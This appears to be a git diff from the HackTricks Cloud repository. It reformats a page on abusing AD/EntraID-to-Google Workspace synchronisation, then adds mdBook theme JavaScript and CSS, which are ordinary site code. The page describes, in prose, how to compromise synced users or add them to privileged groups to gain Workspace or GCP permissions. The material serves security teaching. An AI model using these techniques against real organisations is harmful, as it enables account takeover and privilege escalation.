+- Automatically change their email address to the one used by Workspace. So if Workspace is using `@hacktricks.xyz` and EntraID users use `@carloshacktricks.onmicrosoft.com`, `@hacktricks.xyz` will be used for the users created in the account.
+- Select the **groups containing the users** that will be synced.
+- Select to **groups** to synchronize and create in Workspace (or indicate to synchronize all groups).
 
 ### From AD/EntraID -> Google Workspace (& GCP)
 
@@ -44,8 +29,8 @@ However, notice that the **passwords** the users might be using in Workspace **c
 
 When the synchronization happens it might synchronize **all the users from AD or only the ones from a specific OU** or only the **users members of specific groups in EntraID**. This means that to attack a synchronized user (or create a new one that gets synchronized) you will need first to figure out which users are being synchronized.
 
-* Users might be **reusing the password or not from AD or EntraID**, but this mean that you will need to **compromise the passwords of the users to login**.
-* If you have access to the **mails** of the users, you could **change the Workspace password of an existing user**, or **create a new user**, wait until it gets synchronized an setup the account.
+- Users might be **reusing the password or not from AD or EntraID**, but this mean that you will need to **compromise the passwords of the users to login**.
+- If you have access to the **mails** of the users, you could **change the Workspace password of an existing user**, or **create a new user**, wait until it gets synchronized an setup the account.
 
 Once you access the user inside Workspace it might be given some **permissions by default**.
 
@@ -53,9 +38,8 @@ Once you access the user inside Workspace it might be given some **permissions b
 
 You also need to figure out first which groups are being synchronized. Although there is the possibility that **ALL** the groups are being synchronized (as Workspace allows this).
 
-{% hint style="info" %}
-Note that even if the groups and memberships are imported into Workspace, the **users that aren't synchronized in the users sychronization won't be created** during groups synchronization even if they are members of any of the groups synchronized.
-{% endhint %}
+> [!NOTE]
+> Note that even if the groups and memberships are imported into Workspace, the **users that aren't synchronized in the users sychronization won't be created** during groups synchronization even if they are members of any of the groups synchronized.
 
 If you know which groups from Azure are being **assigned permissions in Workspace or GCP**, you could just add a compromised user (or newly created) in that group and get those permissions.
 
@@ -70,17 +54,4 @@ Note that Workspace require credentials with read only access over AD or EntraID
 
 I also don't know where does Google store the AD credentials or EntraID token and you **can't recover them re-configuring the synchronizarion** (they don't appear in the web form, you need to give them again). However, from the web it might be possible to abuse the current functionality to **list users and groups**.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/theme/book.js b/theme/book.js
new file mode 100644
index 000000000..1c8d77287
--- /dev/null
+++ b/theme/book.js
@@ -0,0 +1,735 @@
+"use strict";
+
+// Fix back button cache problem
+window.onunload = function () { };
+
+// Global variable, shared between modules
+function playground_text(playground, hidden = true) {
+    let code_block = playground.querySelector("code");
+
+    if (window.ace && code_block.classList.contains("editable")) {
+        let editor = window.ace.edit(code_block);
+        return editor.getValue();
+    } else if (hidden) {
+        return code_block.textContent;
+    } else {
+        return code_block.innerText;
+    }
+}
+
+(function codeSnippets() {
+    function fetch_with_timeout(url, options, timeout = 6000) {
+        return Promise.race([
+            fetch(url, options),
+            new Promise((_, reject) => setTimeout(() => reject(new Error('timeout')), timeout))
+        ]);
+    }
+
+    var playgrounds = Array.from(document.querySelectorAll(".playground"));
+    if (playgrounds.length > 0) {
+        fetch_with_timeout("https://play.rust-lang.org/meta/crates", {
+            headers: {
+                'Content-Type': "application/json",
+            },
+            method: 'POST',
+            mode: 'cors',
+        })
+        .then(response => response.json())
+        .then(response => {
+            // get list of crates available in the rust playground
+            let playground_crates = response.crates.map(item => item["id"]);
+            playgrounds.forEach(block => handle_crate_list_update(block, playground_crates));
+        });
+    }
+
+    function handle_crate_list_update(playground_block, playground_crates) {
+        // update the play buttons after receiving the response
+        update_play_button(playground_block, playground_crates);
+
+        // and install on change listener to dynamically update ACE editors
+        if (window.ace) {
+            let code_block = playground_block.querySelector("code");
+            if (code_block.classList.contains("editable")) {
+                let editor = window.ace.edit(code_block);
+                editor.addEventListener("change", function (e) {
+                    update_play_button(playground_block, playground_crates);
+                });
+                // add Ctrl-Enter command to execute rust code
+                editor.commands.addCommand({
+                    name: "run",
+                    bindKey: {
+                        win: "Ctrl-Enter",
+                        mac: "Ctrl-Enter"
+                    },
+                    exec: _editor => run_rust_code(playground_block)
+                });
+            }
+        }
+    }
+
+    // updates the visibility of play button based on `no_run` class and
+    // used crates vs ones available on https://play.rust-lang.org
+    function update_play_button(pre_block, playground_crates) {
+        var play_button = pre_block.querySelector(".play-button");
+
+        // skip if code is `no_run`
+        if (pre_block.querySelector('code').classList.contains("no_run")) {
+            play_button.classList.add("hidden");
+            return;
+        }
+
+        // get list of `extern crate`'s from snippet
+        var txt = playground_text(pre_block);
+        var re = /extern\s+crate\s+([a-zA-Z_0-9]+)\s*;/g;
+        var snippet_crates = [];
+        var item;
+        while (item = re.exec(txt)) {
+            snippet_crates.push(item[1]);
+        }
+
+        // check if all used crates are available on play.rust-lang.org
+        var all_available = snippet_crates.every(function (elem) {
+            return playground_crates.indexOf(elem) > -1;
+        });
+
+        if (all_available) {
+            play_button.classList.remove("hidden");
+        } else {
+            play_button.classList.add("hidden");
+        }
+    }
+
+    function run_rust_code(code_block) {
+        var result_block = code_block.querySelector(".result");
+        if (!result_block) {
+            result_block = document.createElement('code');
+            result_block.className = 'result hljs language-bash';
+
+            code_block.append(result_block);
+        }
+
+        let text = playground_text(code_block);
+        let classes = code_block.querySelector('code').classList;
+        let edition = "2015";
+        if(classes.contains("edition2018")) {
+            edition = "2018";
+        } else if(classes.contains("edition2021")) {
+            edition = "2021";
+        }
+        var params = {
+            version: "stable",
+            optimize: "0",
+            code: text,
+            edition: edition
+        };
+
+        if (text.indexOf("#![feature") !== -1) {
+            params.version = "nightly";
+        }
+
+        result_block.innerText = "Running...";
+
+        fetch_with_timeout("https://play.rust-lang.org/evaluate.json", {
+            headers: {
+                'Content-Type': "application/json",
+            },
+            method: 'POST',
+            mode: 'cors',
+            body: JSON.stringify(params)
+        })
+        .then(response => response.json())
+        .then(response => {
+            if (response.result.trim() === '') {
+                result_block.innerText = "No output";
+                result_block.classList.add("result-no-output");
+            } else {
+                result_block.innerText = response.result;
+                result_block.classList.remove("result-no-output");
+            }
+        })
+        .catch(error => result_block.innerText = "Playground Communication: " + error.message);
+    }
+
+    // Syntax highlighting Configuration
+    hljs.configure({
+        tabReplace: '    ', // 4 spaces
+        languages: [],      // Languages used for auto-detection
+    });
+
+    let code_nodes = Array
+        .from(document.querySelectorAll('code'))
+        // Don't highlight `inline code` blocks in headers.
+        .filter(function (node) {return !node.parentElement.classList.contains("header"); });
+
+    if (window.ace) {
+        // language-rust class needs to be removed for editable
+        // blocks or highlightjs will capture events
+        code_nodes
+            .filter(function (node) {return node.classList.contains("editable"); })
+            .forEach(function (block) { block.classList.remove('language-rust'); });
+
+        code_nodes
+            .filter(function (node) {return !node.classList.contains("editable"); })
+            .forEach(function (block) { hljs.highlightBlock(block); });
+    } else {
+        code_nodes.forEach(function (block) { hljs.highlightBlock(block); });
+    }
+
+    // Adding the hljs class gives code blocks the color css
+    // even if highlighting doesn't apply
+    code_nodes.forEach(function (block) { block.classList.add('hljs'); });
+
+    Array.from(document.querySelectorAll("code.hljs")).forEach(function (block) {
+
+        var lines = Array.from(block.querySelectorAll('.boring'));
+        // If no lines were hidden, return
+        if (!lines.length) { return; }
+        block.classList.add("hide-boring");
+
+        var buttons = document.createElement('div');
+        buttons.className = 'buttons';
+        buttons.innerHTML = "<button class=\"fa fa-eye\" title=\"Show hidden lines\" aria-label=\"Show hidden lines\"></button>";
+
+        // add expand button
+        var pre_block = block.parentNode;
+        pre_block.insertBefore(buttons, pre_block.firstChild);
+
+        pre_block.querySelector('.buttons').addEventListener('click', function (e) {
+            if (e.target.classList.contains('fa-eye')) {
+                e.target.classList.remove('fa-eye');
+                e.target.classList.add('fa-eye-slash');
+                e.target.title = 'Hide lines';
+                e.target.setAttribute('aria-label', e.target.title);
+
+                block.classList.remove('hide-boring');
+            } else if (e.target.classList.contains('fa-eye-slash')) {
+                e.target.classList.remove('fa-eye-slash');
+                e.target.classList.add('fa-eye');
+                e.target.title = 'Show hidden lines';
+                e.target.setAttribute('aria-label', e.target.title);
+
+                block.classList.add('hide-boring');
+            }
+        });
+    });
+
+    if (window.playground_copyable) {
+        Array.from(document.querySelectorAll('pre code')).forEach(function (block) {
+            var pre_block = block.parentNode;
+            if (!pre_block.classList.contains('playground')) {
+                var buttons = pre_block.querySelector(".buttons");
+                if (!buttons) {
+                    buttons = document.createElement('div');
+                    buttons.className = 'buttons';
+                    pre_block.insertBefore(buttons, pre_block.firstChild);
+                }
+
+                var clipButton = document.createElement('button');
+                clipButton.className = 'clip-button';
+                clipButton.title = 'Copy to clipboard';
+                clipButton.setAttribute('aria-label', clipButton.title);
+                clipButton.innerHTML = '<i class=\"tooltiptext\"></i>';
+
+                buttons.insertBefore(clipButton, buttons.firstChild);
+            }
+        });
+    }
+
+    // Process playground code blocks
+    Array.from(document.querySelectorAll(".playground")).forEach(function (pre_block) {
+        // Add play button
+        var buttons = pre_block.querySelector(".buttons");
+        if (!buttons) {
+            buttons = document.createElement('div');
+            buttons.className = 'buttons';
+            pre_block.insertBefore(buttons, pre_block.firstChild);
+        }
+
+        var runCodeButton = document.createElement('button');
+        runCodeButton.className = 'fa fa-play play-button';
+        runCodeButton.hidden = true;
+        runCodeButton.title = 'Run this code';
+        runCodeButton.setAttribute('aria-label', runCodeButton.title);
+
+        buttons.insertBefore(runCodeButton, buttons.firstChild);
+        runCodeButton.addEventListener('click', function (e) {
+            run_rust_code(pre_block);
+        });
+
+        if (window.playground_copyable) {
+            var copyCodeClipboardButton = document.createElement('button');
+            copyCodeClipboardButton.className = 'clip-button';
+            copyCodeClipboardButton.innerHTML = '<i class="tooltiptext"></i>';
+            copyCodeClipboardButton.title = 'Copy to clipboard';
+            copyCodeClipboardButton.setAttribute('aria-label', copyCodeClipboardButton.title);
+
+            buttons.insertBefore(copyCodeClipboardButton, buttons.firstChild);
+        }
+
+        let code_block = pre_block.querySelector("code");
+        if (window.ace && code_block.classList.contains("editable")) {
+            var undoChangesButton = document.createElement('button');
+            undoChangesButton.className = 'fa fa-history reset-button';
+            undoChangesButton.title = 'Undo changes';
+            undoChangesButton.setAttribute('aria-label', undoChangesButton.title);
+
+            buttons.insertBefore(undoChangesButton, buttons.firstChild);
+
+            undoChangesButton.addEventListener('click', function () {
+                let editor = window.ace.edit(code_block);
+                editor.setValue(editor.originalCode);
+                editor.clearSelection();
+            });
+        }
+    });
+})();
+
+(function themes() {
+    var html = document.querySelector('html');
+    // var themeToggleButton = document.getElementById('theme-toggle');
+    var themeBtns = document.getElementById('theme-btns');
+    var themeColorMetaTag = document.querySelector('meta[name="theme-color"]');
+    var themeIds = [];
+    themeBtns.querySelectorAll('button.theme').forEach(function (el) {
+        themeIds.push(el.id);
+    });
+    var stylesheets = {
+        ayuHighlight: document.querySelector("[href$='ayu-highlight.css']"),
+        tomorrowNight: document.querySelector("[href$='tomorrow-night.css']"),
+        highlight: document.querySelector("[href$='highlight.css']"),
+    };
+
+    // function showThemes() {
+    //     themePopup.style.display = 'block';
+    //     themeToggleButton.setAttribute('aria-expanded', true);
+    //     themePopup.querySelector("button#" + get_theme()).focus();
+    // }
+
+    function updateThemeSelected() {
+        themeBtns.querySelectorAll('.theme-selected').forEach(function (el) {
+            el.classList.remove('theme-selected');
+        });
+        themeBtns.querySelector("button#" + get_theme()).classList.add('theme-selected');
+    }
+
+    // function hideThemes() {
+    //     themePopup.style.display = 'none';
+    //     themeToggleButton.setAttribute('aria-expanded', false);
+    //     themeToggleButton.focus();
+    // }
+
+    function get_theme() {
+        var theme;
+        try { theme = localStorage.getItem('mdbook-theme'); } catch (e) { }
+        if (theme === null || theme === undefined || !themeIds.includes(theme)) {
+            return default_theme;
+        } else {
+            return theme;
+        }
+    }
+
+    function set_theme(theme, store = true) {
+        let ace_theme;
+
+        if (theme == 'coal' || theme == 'navy' || theme == 'hacktricks-dark') {
+            stylesheets.ayuHighlight.disabled = true;
+            stylesheets.tomorrowNight.disabled = false;
+            stylesheets.highlight.disabled = true;
+            ace_theme = "ace/theme/tomorrow_night";
+        } else if (theme == 'ayu') {
+            stylesheets.ayuHighlight.disabled = false;
+            stylesheets.tomorrowNight.disabled = true;
+            stylesheets.highlight.disabled = true;
+            ace_theme = "ace/theme/tomorrow_night";
+        } else {
+            stylesheets.ayuHighlight.disabled = true;
+            stylesheets.tomorrowNight.disabled = true;
+            stylesheets.highlight.disabled = false;
+            ace_theme = "ace/theme/dawn";
+        }
+
+        setTimeout(function () {
+            themeColorMetaTag.content = getComputedStyle(document.documentElement).backgroundColor;
+        }, 1);
+
+        if (window.ace && window.editors) {
+            window.editors.forEach(function (editor) {
+                editor.setTheme(ace_theme);
+            });
+        }
+
+        var previousTheme = get_theme();
+
+        if (store) {
+            try { localStorage.setItem('mdbook-theme', theme); } catch (e) { }
+        }
+
+        html.classList.remove(previousTheme);
+        html.classList.add(theme);
+        updateThemeSelected();
+    }
+
+    // Set theme
+    var theme = get_theme();
+
+    set_theme(theme, false);
+
+    // themeToggleButton.addEventListener('click', function () {
+    //     if (themePopup.style.display === 'block') {
+    //         hideThemes();
+    //     } else {
+    //         showThemes();
+    //     }
+    // });
+
+    themeBtns.addEventListener('click', function (e) {
+        var theme;
+        if (e.target.className === "theme") {
+            theme = e.target.id;
+        } else if (e.target.parentElement.className === "theme") {
+            theme = e.target.parentElement.id;
+        } else {
+            return;
+        }
+        if (theme == "default-theme"){
+            theme = default_theme
+        }
+        set_theme(theme);
+    });
+
+    // themePopup.addEventListener('focusout', function(e) {
+    //     // e.relatedTarget is null in Safari and Firefox on macOS (see workaround below)
+    //     if (!!e.relatedTarget && !themeToggleButton.contains(e.relatedTarget) && !themePopup.contains(e.relatedTarget)) {
+    //         hideThemes();
+    //     }
+    // });
+
+    // Should not be needed, but it works around an issue on macOS & iOS: https://github.com/rust-lang/mdBook/issues/628
+    // document.addEventListener('click', function(e) {
+    //     if (themePopup.style.display === 'block' && !themeToggleButton.contains(e.target) && !themePopup.contains(e.target)) {
+    //         hideThemes();
+    //     }
+    // });
+
+    // document.addEventListener('keydown', function (e) {
+    //     if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey) { return; }
+    //     if (!themePopup.contains(e.target)) { return; }
+
+    //     switch (e.key) {
+    //         case 'Escape':
+    //             e.preventDefault();
+    //             hideThemes();
+    //             break;
+    //         case 'ArrowUp':
+    //             e.preventDefault();
+    //             var li = document.activeElement.parentElement;
+    //             if (li && li.previousElementSibling) {
+    //                 li.previousElementSibling.querySelector('button').focus();
+    //             }
+    //             break;
+    //         case 'ArrowDown':
+    //             e.preventDefault();
+    //             var li = document.activeElement.parentElement;
+    //             if (li && li.nextElementSibling) {
+    //                 li.nextElementSibling.querySelector('button').focus();
+    //             }
+    //             break;
+    //         case 'Home':
+    //             e.preventDefault();
+    //             themePopup.querySelector('li:first-child button').focus();
+    //             break;
+    //         case 'End':
+    //             e.preventDefault();
+    //             themePopup.querySelector('li:last-child button').focus();
+    //             break;
+    //     }
+    // });
+})();
+
+(function sidebar() {
+    var body = document.querySelector("body");
+    var sidebar = document.getElementById("sidebar");
+    var sidebarLinks = document.querySelectorAll('#sidebar a');
+    var sidebarToggleButton = document.getElementById("sidebar-toggle");
+    // var sidebarResizeHandle = document.getElementById("sidebar-resize-handle");
+    var firstContact = null;
+
+    function showSidebar() {
+        html.classList.remove('sidebar-hidden')
+        html.classList.add('sidebar-visible');
+        body.classList.remove('sidebar-hidden')
+        body.classList.add('sidebar-visible');
+        Array.from(sidebarLinks).forEach(function (link) {
+            link.setAttribute('tabIndex', 0);
+        });
+        sidebarToggleButton.setAttribute('aria-expanded', true);
+        sidebar.setAttribute('aria-hidden', false);
+        try { localStorage.setItem('mdbook-sidebar', 'visible'); } catch (e) { }
+    }
+
+    function hideSidebar() {
+        html.classList.remove('sidebar-visible')
+        html.classList.add('sidebar-hidden');
+        body.classList.remove('sidebar-visible')
+        body.classList.add('sidebar-hidden');
+        Array.from(sidebarLinks).forEach(function (link) {
+            link.setAttribute('tabIndex', -1);
+        });
+        sidebarToggleButton.setAttribute('aria-expanded', false);
+        sidebar.setAttribute('aria-hidden', true);
+        try { localStorage.setItem('mdbook-sidebar', 'hidden'); } catch (e) { }
+    }
+
+    // Toggle sidebar
+    sidebarToggleButton.addEventListener('click', function sidebarToggle() {
+        if (body.classList.contains("sidebar-hidden")) {
+            var current_width = parseInt(
+                document.documentElement.style.getPropertyValue('--sidebar-width'), 10);
+            if (current_width < 150) {
+                document.documentElement.style.setProperty('--sidebar-width', '150px');
+            }
+            showSidebar();
+        } else if (body.classList.contains("sidebar-visible")) {
+            hideSidebar();
+        } else {
+            if (getComputedStyle(sidebar)['transform'] === 'none') {
+                hideSidebar();
+            } else {
+                showSidebar();
+            }
+        }
+    });
+
+    // sidebarResizeHandle.addEventListener('mousedown', initResize, false);
+
+    function initResize(e) {
+        window.addEventListener('mousemove', resize, false);
+        window.addEventListener('mouseup', stopResize, false);
+        body.classList.add('sidebar-resizing');
+    }
+    function resize(e) {
+        var pos = (e.clientX - sidebar.offsetLeft);
+        if (pos < 20) {
+            hideSidebar();
+        } else {
+            if (body.classList.contains("sidebar-hidden")) {
+                showSidebar();
+            }
+            pos = Math.min(pos, window.innerWidth - 100);
+            document.documentElement.style.setProperty('--sidebar-width', pos + 'px');
+        }
+    }
+    //on mouseup remove windows functions mousemove & mouseup
+    function stopResize(e) {
+        body.classList.remove('sidebar-resizing');
+        window.removeEventListener('mousemove', resize, false);
+        window.removeEventListener('mouseup', stopResize, false);
+    }
+
+    document.addEventListener('touchstart', function (e) {
+        firstContact = {
+            x: e.touches[0].clientX,
+            time: Date.now()
+        };
+    }, { passive: true });
+
+    document.addEventListener('touchmove', function (e) {
+        if (!firstContact)
+            return;
+
+        var curX = e.touches[0].clientX;
+        var xDiff = curX - firstContact.x,
+            tDiff = Date.now() - firstContact.time;
+
+        if (tDiff < 250 && Math.abs(xDiff) >= 150) {
+            if (xDiff >= 0 && firstContact.x < Math.min(document.body.clientWidth * 0.25, 300))
+                showSidebar();
+            else if (xDiff < 0 && curX < 300)
+                hideSidebar();
+
+            firstContact = null;
+        }
+    }, { passive: true });
+})();
+
+(function menubarCollapse() {
+    var menubarCollapseToggleButton = document.getElementById('menubar-collapse-toggle');
+    var menubarCollapsePopup = document.getElementById('menubar-collapse-popup');
+
+    function showCollapse() {
+        menubarCollapsePopup.style.display = 'flex';
+        menubarCollapseToggleButton.setAttribute('aria-expanded', true);
+    }
+
+    function hideCollapse() {
+        menubarCollapsePopup.style.display = 'none';
+        menubarCollapseToggleButton.setAttribute('aria-expanded', false);
+        menubarCollapseToggleButton.focus();
+    }
+
+    menubarCollapseToggleButton.addEventListener('click', function () {
+        if (menubarCollapsePopup.style.display === 'flex') {
+            hideCollapse();
+        } else {
+            showCollapse();
+        }
+    });
+
+    menubarCollapsePopup.addEventListener('focusout', function(e) {
+        // e.relatedTarget is null in Safari and Firefox on macOS (see workaround below)
+        if (!!e.relatedTarget && !menubarCollapseToggleButton.contains(e.relatedTarget) && !menubarCollapsePopup.contains(e.relatedTarget)) {
+            hideCollapse();
+        }
+    });
+
+    // Should not be needed, but it works around an issue on macOS & iOS: https://github.com/rust-lang/mdBook/issues/628
+    document.addEventListener('click', function(e) {
+        if (menubarCollapsePopup.style.display === 'block' && !menubarCollapseToggleButton.contains(e.target) && !menubarCollapsePopup.contains(e.target)) {
+            hideCollapse();
+        }
+    });
+})();
+
+(function chapterNavigation() {
+    document.addEventListener('keydown', function (e) {
+        if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey) { return; }
+        if (window.search && window.search.hasFocus()) { return; }
+        var html = document.querySelector('html');
+
+        function next() {
+            var nextButton = document.querySelector('.nav-chapters.next');
+            if (nextButton) {
+                window.location.href = nextButton.href;
+            }
+        }
+        function prev() {
+            var previousButton = document.querySelector('.nav-chapters.previous');
+            if (previousButton) {
+                window.location.href = previousButton.href;
+            }
+        }
+        switch (e.key) {
+            case 'ArrowRight':
+                e.preventDefault();
+                if (html.dir == 'rtl') {
+                    prev();
+                } else {
+                    next();
+                }
+                break;
+            case 'ArrowLeft':
+                e.preventDefault();
+                if (html.dir == 'rtl') {
+                    next();
+                } else {
+                    prev();
+                }
+                break;
+        }
+    });
+})();
+
+(function clipboard() {
+    var clipButtons = document.querySelectorAll('.clip-button');
+
+    function hideTooltip(elem) {
+        elem.firstChild.innerText = "";
+        elem.className = 'clip-button';
+    }
+
+    function showTooltip(elem, msg) {
+        elem.firstChild.innerText = msg;
+        elem.className = 'clip-button tooltipped';
+    }
+
+    var clipboardSnippets = new ClipboardJS('.clip-button', {
+        text: function (trigger) {
+            hideTooltip(trigger);
+            let playground = trigger.closest("pre");
+            return playground_text(playground, false);
+        }
+    });
+
+    Array.from(clipButtons).forEach(function (clipButton) {
+        clipButton.addEventListener('mouseout', function (e) {
+            hideTooltip(e.currentTarget);
+        });
+    });
+
+    clipboardSnippets.on('success', function (e) {
+        e.clearSelection();
+        showTooltip(e.trigger, "Copied!");
+    });
+
+    clipboardSnippets.on('error', function (e) {
+        showTooltip(e.trigger, "Clipboard error!");
+    });
+})();
+
+(function scrollToTop () {
+    var menuTitle = document.querySelector('.menu-title');
+
+    menuTitle.addEventListener('click', function () {
+        document.scrollingElement.scrollTo({ top: 0, behavior: 'smooth' });
+    });
+})();
+
+(function controllMenu() {
+    var menu = document.getElementById('menu-bar');
+
+    (function controllPosition() {
+        var scrollTop = document.scrollingElement.scrollTop;
+        var prevScrollTop = scrollTop;
+        var minMenuY = -menu.clientHeight - 50;
+        // When the script loads, the page can be at any scroll (e.g. if you reforesh it).
+        menu.style.top = scrollTop + 'px';
+        // Same as parseInt(menu.style.top.slice(0, -2), but faster
+        var topCache = menu.style.top.slice(0, -2);
+        menu.classList.remove('sticky');
+        var stickyCache = false; // Same as menu.classList.contains('sticky'), but faster
+        document.addEventListener('scroll', function () {
+            scrollTop = Math.max(document.scrollingElement.scrollTop, 0);
+            // `null` means that it doesn't need to be updated
+            var nextSticky = null;
+            var nextTop = null;
+            var scrollDown = scrollTop > prevScrollTop;
+            var menuPosAbsoluteY = topCache - scrollTop;
+            if (scrollDown) {
+                nextSticky = false;
+                if (menuPosAbsoluteY > 0) {
+                    nextTop = prevScrollTop;
+                }
+            } else {
+                if (menuPosAbsoluteY > 0) {
+                    nextSticky = true;
+                } else if (menuPosAbsoluteY < minMenuY) {
+                    nextTop = prevScrollTop + minMenuY;
+                }
+            }
+            if (nextSticky === true && stickyCache === false) {
+                menu.classList.add('sticky');
+                stickyCache = true;
+            } else if (nextSticky === false && stickyCache === true) {
+                menu.classList.remove('sticky');
+                stickyCache = false;
+            }
+            if (nextTop !== null) {
+                menu.style.top = nextTop + 'px';
+                topCache = nextTop;
+            }
+            prevScrollTop = scrollTop;
+        }, { passive: true });
+    })();
+    (function controllBorder() {
+        function updateBorder() {
+            if (menu.offsetTop === 0) {
+                menu.classList.remove('bordered');
+            } else {
+                menu.classList.add('bordered');
+            }
+        }
+        updateBorder();
+        document.addEventListener('scroll', updateBorder, { passive: true });
+    })();
+})();
+
diff --git a/theme/css/chrome.css b/theme/css/chrome.css
new file mode 100644
index 000000000..8cbda7c69
--- /dev/null
+++ b/theme/css/chrome.css
@@ -0,0 +1,1085 @@
+/* CSS for UI elements (a.k.a. chrome) */
+
+html {
+    scrollbar-color: var(--scrollbar) var(--bg);
+}
+#searchresults a,
+.content a:link,
+a:visited,
+a > .hljs {
+    color: var(--links);
+}
+
+/*
+    body-container is necessary because mobile browsers don't seem to like
+    overflow-x on the body tag when there is a <meta name="viewport"> tag.
+*/
+#body-container {
+    /*
+        This is used when the sidebar pushes the body content off the side of
+        the screen on small screens. Without it, dragging on mobile Safari
+        will want to reposition the viewport in a weird way.
+    */
+    overflow-x: clip;
+}
+
+/* Menu Bar */
+
+#menu-bar,
+#menu-bar-hover-placeholder {
+    z-index: 106;
+    margin: auto calc(0px - var(--page-padding));
+}
+#menu-bar {
+    position: relative;
+    background-color: var(--bg);
+    border-block-end-color: var(--table-border-color);
+    border-block-end-width: 1px;
+    border-block-end-style: solid;
+}
+.menu-bar-container {
+    display: flex;
+    flex-wrap: wrap;
+    margin-left: auto;
+    margin-right: auto;
+    max-width: var(--container-max-width);
+    justify-content: space-between;
+}
+.menu-bar-link, .menu-bar-link:visited {
+    color: var(--menu-bar-link-color);
+    font-size: 14px;
+}
+.menu-bar-link:hover {
+    color: var(--menu-bar-link-color-hover);
+}
+#menu-bar.sticky,
+#menu-bar-hover-placeholder:hover + #menu-bar,
+#menu-bar:hover,
+html.sidebar-visible #menu-bar,
+body.sidebar-visible #menu-bar {
+    position: -webkit-sticky;
+    position: sticky;
+    top: 0 !important;
+}
+#menu-bar-hover-placeholder {
+    position: sticky;
+    position: -webkit-sticky;
+    top: 0;
+    height: var(--menu-bar-height);
+}
+#menu-bar.bordered {
+    border-block-end-color: var(--table-border-color);
+}
+#menu-bar i{
+    position: relative;
+    margin: 0 4px;
+    z-index: 10;
+    cursor: pointer;
+    transition: color 0.5s;
+}
+@media only screen and (max-width: 420px) {
+    #menu-bar i, #menu-bar .icon-button {
+        padding: 0 5px;
+    }
+}
+
+.icon-button {
+    border: none;
+    background: var(--bg);
+    padding: 4px;
+    color: inherit;
+    border-radius: 5px;
+    z-index: 10;
+    cursor: pointer;
+    transition: color 0.5s;
+}
+.icon-button:hover {
+    background: var(--theme-hover);
+}
+.icon-button i {
+    margin: 0;
+}
+
+.right-buttons {
+    margin: 0 15px;
+    display: flex;
+    flex-wrap: wrap;
+    column-gap: 2.6rem;
+    align-items: center;
+}
+.right-buttons a {
+    text-decoration: none;
+}
+
+@media only screen and (min-width:800px) {
+    #menubar-collapse {
+        display: flex !important;
+        flex-wrap: wrap;
+        column-gap: 2.6rem;
+        align-items: center;
+    }
+    
+    #menubar-collapse-toggle {
+        display: none !important;
+    }
+
+    #menubar-collapse-popup{
+        display: none !important;
+    }
+}
+@media only screen and (max-width:799px) {
+    #menubar-collapse {
+        display: none !important;
+    }
+    
+    #menubar-collapse-toggle {
+        display: block !important;
+    }
+}
+
+/* Collapse Menu Popup */
+
+#menubar-collapse-popup {
+    position: absolute;
+    right: 30px;
+    top: var(--menu-bar-height);
+    z-index: 105;
+    border-radius: 5px;
+    font-size: 14px;
+    color: var(--fg);
+    background: var(--bg);
+    border: 1px solid var(--table-border-color);
+    margin: 0;
+    padding: 0px;
+    display: none;
+    flex-direction: column;
+    /* Don't let the children's background extend past the rounded corners. */
+    overflow: hidden;
+}
+#menubar-collapse-popup .menu-bar-link {
+    border: 0;
+    margin: 0;
+    padding: 8px 20px;
+    line-height: 25px;
+    white-space: nowrap;
+    text-align: start;
+    cursor: pointer;
+    color: inherit;
+    background: inherit;
+    font-size: inherit;
+}
+#menubar-collapse-popup .menu-bar-link:hover {
+    background-color: var(--theme-hover);
+}
+
+
+.left-buttons {
+    display: flex;
+    margin: 0 5px;  
+    align-items: center;
+}
+html:not(.js) .left-buttons button {
+    display: none;
+}
+
+.menu-title {
+    display: inline-block;
+    font-weight: 600;
+    font-size: 2rem;
+    line-height: var(--menu-bar-height);
+    text-align: center;
+    margin: 0;
+    flex: 1;
+    white-space: nowrap;
+    overflow: hidden;
+    text-overflow: ellipsis;
+    cursor: pointer;
+    color: var(--fg);
+}
+
+.menu-bar,
+.menu-bar:visited,
+.nav-chapters,
+.nav-chapters:visited,
+.mobile-nav-chapters,
+.mobile-nav-chapters:visited,
+.menu-bar .icon-button,
+.menu-bar a i {
+    color: var(--icons) !important;
+}
+
+.menu-bar i:hover,
+.menu-bar .icon-button:hover,
+.nav-chapters:hover,
+.mobile-nav-chapters i:hover {
+    color: var(--icons-hover) !important;
+    text-decoration: none !important;
+}
+
+/* Nav Icons */
+
+.nav-chapters {
+    font-size: 2.5em;
+    text-align: center;
+    text-decoration: none !important;
+    padding: 2rem;
+    border-radius: 1rem;
+    border: 1px solid var(--table-border-color);
+
+    display: flex;
+    justify-content: center;
+    align-content: center;
+    flex-direction: row;
+
+    transition: color 0.5s, background-color 0.5s;
+}
+
+.nav-chapters:hover {
+    text-decoration:  none !important;
+}
+
+.nav-wrapper {
+    margin-block-start: 50px;
+    display: none;
+}
+
+.mobile-nav-chapters {
+    font-size: 2.5em;
+    text-align: center;
+    text-decoration: none;
+    width: 90px;
+    border-radius: 5px;
+    border: 1px solid var(--table-border-color);
+}
+
+/* Only Firefox supports flow-relative values */
+.previous { float: left; }
+[dir=rtl] .previous { float: right; }
+
+/* Only Firefox supports flow-relative values */
+.next {
+    float: right;
+    right: var(--page-padding);
+}
+[dir=rtl] .next {
+    float: left;
+    right: unset;
+    left: var(--page-padding);
+}
+
+/* Use the correct buttons for RTL layouts*/
+[dir=rtl] .previous i.fa-angle-left:before {content:"\f105";}
